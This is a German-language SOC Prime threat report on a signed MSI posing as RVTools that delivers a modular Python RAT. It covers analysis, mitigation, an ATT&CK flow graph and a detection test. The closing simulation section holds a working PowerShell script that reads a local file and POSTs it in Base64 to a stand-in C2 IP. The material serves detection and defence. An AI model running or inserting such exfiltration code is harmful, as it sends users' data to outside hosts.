SOC Prime Bias: Mittel

29 May 2026 07:20 UTC

RVTools-Maskerade: Wie ein signierter falscher Installer einen modularen Python RAT verteilt

Author Photo
SOC Prime Team linkedin icon Folgen
RVTools-Maskerade: Wie ein signierter falscher Installer einen modularen Python RAT verteilt
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Ein bösartiger MSI-Installer, der mit einem legitimen Zertifikat signiert ist, gibt sich als das von VMware-Administratoren verwendete RVTools-Dienstprogramm aus. Nach der Ausführung legt der Installer ein VBScript ab, das PowerShell startet, um ein großes ZIP-Archiv von Dropbox herunterzuladen. Dieses Archiv enthält eine portable Python-Umgebung, die einen mehrstufigen RAT ausführt, der in der Lage ist, Aufklärung durchzuführen, Persistenz aufrechtzuerhalten und mit festgelegten Kommando- und Kontrollservern zu kommunizieren.

Untersuchung

Die Analyse verfolgte das MSI zu einer benutzerdefinierten VBScript-Aktion, Binary.MyScript.vbs, die einen verschleierten PowerShell-Befehl dekodierte. Dieser Befehl lud ein winp.zip Payload in %APPDATA%, extrahierte Python-Komponenten und Skripte wie collector.py and Pmanager.py, und stellte dann Persistenz über Registry-Run-Schlüssel und eine geplante Aufgabe nach einem Neustart her. Forscher fanden außerdem heraus, dass der RAT gesammelte Daten mit RC4 verschlüsselte und in fünfminütigen Intervallen zu fünf festen IP-Adressen sendete.

Minderung

Organisationen sollten eine strikte Code-Signatur-Validierung mit Live-OCSP- oder CRL-Prüfungen durchsetzen, die Ausführung von nicht vertrauenswürdigen MSIs blockieren und nach verdächtigen benutzerdefinierten VBScript-Aktionen in Installer-Paketen überwachen. Verteidiger sollten auch die automatische Ausführung heruntergeladener Skripte verhindern, nach neuen Run-Key-Einträgen und der Erstellung geplanter Aufgaben Ausschau halten und bei ausgehendem Datenverkehr zu unbekannten, fest codierten IP-Adressen Alarm schlagen.

Reaktion

Falls diese Aktivität erkannt wird, das betroffene Endgerät sofort isolieren, das MSI, das VBScript und die extrahierten Payload-Dateien für die forensische Analyse sammeln und alle Persistenz-Artefakte, einschließlich Run-Key und geplanter Aufgabe, entfernen. Die identifizierten Kommando- und Kontroll-IP-Adressen sollten an der Firewall blockiert werden, und eine umfassendere Überprüfung von Anmeldeinformationen und Aktivitäten im Active Directory sollte durchgeführt werden, um festzustellen, ob seitliche Bewegungen stattgefunden haben.

graph TB %% Class definitions classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Phases phase_initial_access[„<b>Phase</b>: Initialer Zugriff<br/><b>Aktion</b> – Opfer führt eine signierte bösartige MSI aus, die sich als RVTools tarnt.“] class phase_initial_access phase phase_execution[„<b>Phase</b>: Ausführung<br/><b>Aktion</b> – MSI verwendet Msiexec, um ein VBScript auszuführen, das einen versteckten PowerShell-Downloader startet.“] class phase_execution phase phase_payload[„<b>Phase</b>: Payload-Bereitstellung<br/><b>Aktion</b> – Archiv wird in eine portable WinPython-Umgebung entpackt, die collector.py und manager.py enthält.“] class phase_payload phase phase_persistence[„<b>Phase</b>: Persistenz<br/><b>Aktion</b> – Python-Manager erstellt Registry-Run-Key, geplante Aufgabe und Active-Setup-Eintrag.“] class phase_persistence phase phase_c2[„<b>Phase</b>: Command & Control<br/><b>Aktion</b> – Gesammelte Daten werden archiviert, mit RC4 verschlüsselt und per HTTP POST an fest kodierte IPs exfiltriert.“] class phase_c2 phase phase_evasion[„<b>Phase</b>: Verteidigungsumgehung<br/><b>Aktion</b> – Verwendung signierter Binärdateien, Proxy-Ausführung und Zeichen-Obfuskation zur Umgehung von Erkennung.“] class phase_evasion phase %% Techniques for Initial Access tech_user_execution[„<b>Technik</b> T1204.002 Benutzer-Ausführung: bösartige Datei<br/>Opfer führt eine Datei aus, die als legitim erscheint.“] class tech_user_execution technique tech_masquerading[„<b>Technik</b> T1036.001 Tarnung<br/>Binärdatei ist signiert und als legitimes Tool (RVTools) benannt.“] class tech_masquerading technique tech_trusted_dev_proxy[„<b>Technik</b> T1127 Trusted Developer Utilities Proxy Execution<br/>Signierte Binärdatei wird zur Umgehung von Reputationsprüfungen verwendet.“] class tech_trusted_dev_proxy technique %% Techniques for Execution tech_msiexec_proxy[„<b>Technik</b> T1218.007 System Binary Proxy Execution: Msiexec<br/>Msiexec wird verwendet, um die bösartige MSI auszuführen.“] class tech_msiexec_proxy technique tech_vbscript[„<b>Technik</b> T1059.005 Skriptinterpreter: VBScript<br/>Benutzerdefinierte Aktion startet ein VBScript-Payload.“] class tech_vbscript technique tech_powershell[„<b>Technik</b> T1059.001 Skriptinterpreter: PowerShell<br/>VBScript führt einen versteckten PowerShell-Downloader aus.“] class tech_powershell technique %% Techniques for Payload Deployment tech_archive_custom[„<b>Technik</b> T1560.003 Archivierung gesammelter Daten: benutzerdefinierte Methode<br/>33 MB ZIP (winp.zip) wird heruntergeladen und entpackt.“] class tech_archive_custom technique %% Techniques for Persistence tech_registry_run[„<b>Technik</b> T1037.004 Boot- oder Logon-Initialisierung: Registry Run<br/>Run-Key wird erstellt, um manager.py beim Start auszuführen.“] class tech_registry_run persistence tech_scheduled_task[„<b>Technik</b> T1053 Geplante Aufgabe<br/>Tägliche Aufgabe wird mit SYSTEM-Rechten erstellt.“] class tech_scheduled_task persistence tech_active_setup[„<b>Technik</b> T1547.014 Active Setup Autostart<br/>Active-Setup-Eintrag wird für jeden Benutzer erstellt.“] class tech_active_setup persistence tech_hijack_execution[„<b>Technik</b> T1574 Hijack Execution Flow<br/>Geplante Aufgabe wird zur Umgehung normaler Ausführungswege verwendet.“] class tech_hijack_execution evasion %% Techniques for Command and Control tech_exfil_unencrypted[„<b>Technik</b> T1048.003 Exfiltration über nicht verschlüsseltes Nicht-C2-Protokoll<br/>Daten werden per HTTP POST an IP-Adressen gesendet.“] class tech_exfil_unencrypted c2 tech_exfil_asymmetric[„<b>Technik</b> T1048.002 Exfiltration über asymmetrisch verschlüsseltes Nicht-C2-Protokoll<br/>Daten werden vor Übertragung mit RC4 verschlüsselt.“] class tech_exfil_asymmetric c2 %% Techniques for Defense Evasion tech_system_script_proxy[„<b>Technik</b> T1216.002 System Script Proxy Execution: SyncAppvPublishingServer<br/>Vertrauenswürdige Skripte werden zur Tarnung missbraucht.“] class tech_system_script_proxy evasion tech_system_binary_proxy[„<b>Technik</b> T1218 System Binary Proxy Execution<br/>Signierte Windows-Tools werden missbraucht.“] class tech_system_binary_proxy evasion %% Artifacts artifact_msi[„<b>Artefakt</b>: malicious_RVTools.msi<br/>Signierte MSI für initialen Zugriff.“] class artifact_msi artifact artifact_zip[„<b>Artefakt</b>: winp.zip<br/>Dropbox-gehostetes Archiv mit WinPython.“] class artifact_zip artifact artifact_python_env[„<b>Artefakt</b>: WinPython-Umgebung<br/>Enthält collector.py und manager.py.“] class artifact_python_env artifact artifact_registry_key[„<b>Artefakt</b>: Registry Run Key<br/>Schlüssel zum Start von WinPythonMgr.“] class artifact_registry_key artifact artifact_scheduled_task[„<b>Artefakt</b>: Geplante Aufgabe<br/>WinPythonDaily läuft mit SYSTEM.“] class artifact_scheduled_task artifact artifact_active_setup[„<b>Artefakt</b>: Active Setup Eintrag<br/>Autostart-Konfiguration für WinPython.“] class artifact_active_setup artifact artifact_c2_ip[„<b>Artefakt</b>: C2 IP-Adressen<br/>Fest kodierte IPv4-Adressen für HTTP-Kommunikation.“] class artifact_c2_ip artifact %% Connections phase_initial_access –>|nutzt| tech_user_execution phase_initial_access –>|nutzt| tech_masquerading phase_initial_access –>|nutzt| tech_trusted_dev_proxy phase_initial_access –>|liefert| artifact_msi tech_user_execution –>|führt aus| artifact_msi tech_masquerading –>|ermöglicht| artifact_msi tech_trusted_dev_proxy –>|umgeht| artifact_msi phase_execution –>|verwendet| tech_msiexec_proxy tech_msiexec_proxy –>|führt aus| tech_vbscript tech_vbscript –>|startet| tech_powershell tech_powershell –>|lädt herunter| artifact_zip artifact_zip –>|entpackt zu| artifact_python_env phase_payload –>|enthält| artifact_python_env phase_persistence –>|erstellt| tech_registry_run phase_persistence –>|erstellt| tech_scheduled_task phase_persistence –>|erstellt| tech_active_setup phase_persistence –>|nutzt| tech_hijack_execution tech_registry_run –>|schreibt| artifact_registry_key tech_scheduled_task –>|erstellt| artifact_scheduled_task tech_active_setup –>|schreibt| artifact_active_setup phase_c2 –>|archiviert und verschlüsselt| tech_archive_custom tech_archive_custom –>|sendet über| tech_exfil_unencrypted tech_exfil_unencrypted –>|nutzt| artifact_c2_ip tech_exfil_unencrypted –>|auch genutzt| tech_exfil_asymmetric phase_evasion –>|wendet an| tech_system_script_proxy phase_evasion –>|wendet an| tech_system_binary_proxy tech_system_binary_proxy –>|unterstützt| tech_msiexec_proxy tech_system_script_proxy –>|unterstützt| tech_vbscript

Angriffsfluss

Simulationsausführung

Voraussetzung: Der Telemetrie- und Baseline-Preflight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Gegnertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die exakte Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Ein Gegner, der bereits einen Fuß auf der Opfermaschine etabliert hat, entscheidet sich, einen kleinen Datensatz zu exfiltrieren (z.B., C:Tempsecret.txt). Um zu vermeiden, generische Alarme für ausgehenden Verkehr auszulösen, verwendet der Akteur einen PowerShell Einzeiler, der einen HTTP-POST direkt zu einer der fest codierten C2-IPs durchführt (192.0.2.10). Der Befehl wird über eine Windows Geplante Aufgabe eingeplant, um Persistenz sicherzustellen (T1546.013). Keine zusätzlichen Binärdateien werden abgelegt, wodurch die Aktivität „living-off-the-land“ bleibt.

  • Regressionstest-Skript:

    # -------------------------------------------------
    # PowerShell-Skript – Datenexfiltration über fest codierte IP
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # Sicherstellen, dass die Datei existiert (Dummy-Daten für Test erstellen)
    if (-Not (Test-Path $file)) {
        "sensible Daten $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # Dateiinhalte lesen und Base64-verschlüsseln
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # HTTP-POST ausführen
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "Exfiltrationsversuch gesendet an $c2Ip"
    } catch {
        Write-Error "Exfiltration fehlgeschlagen: $_"
    }
  • Bereinigungskommandos:

    # Entfernen der Dummy-Datei
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # Löschen Sie alle für den Test erstellten geplanten Aufgaben (falls vorhanden)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }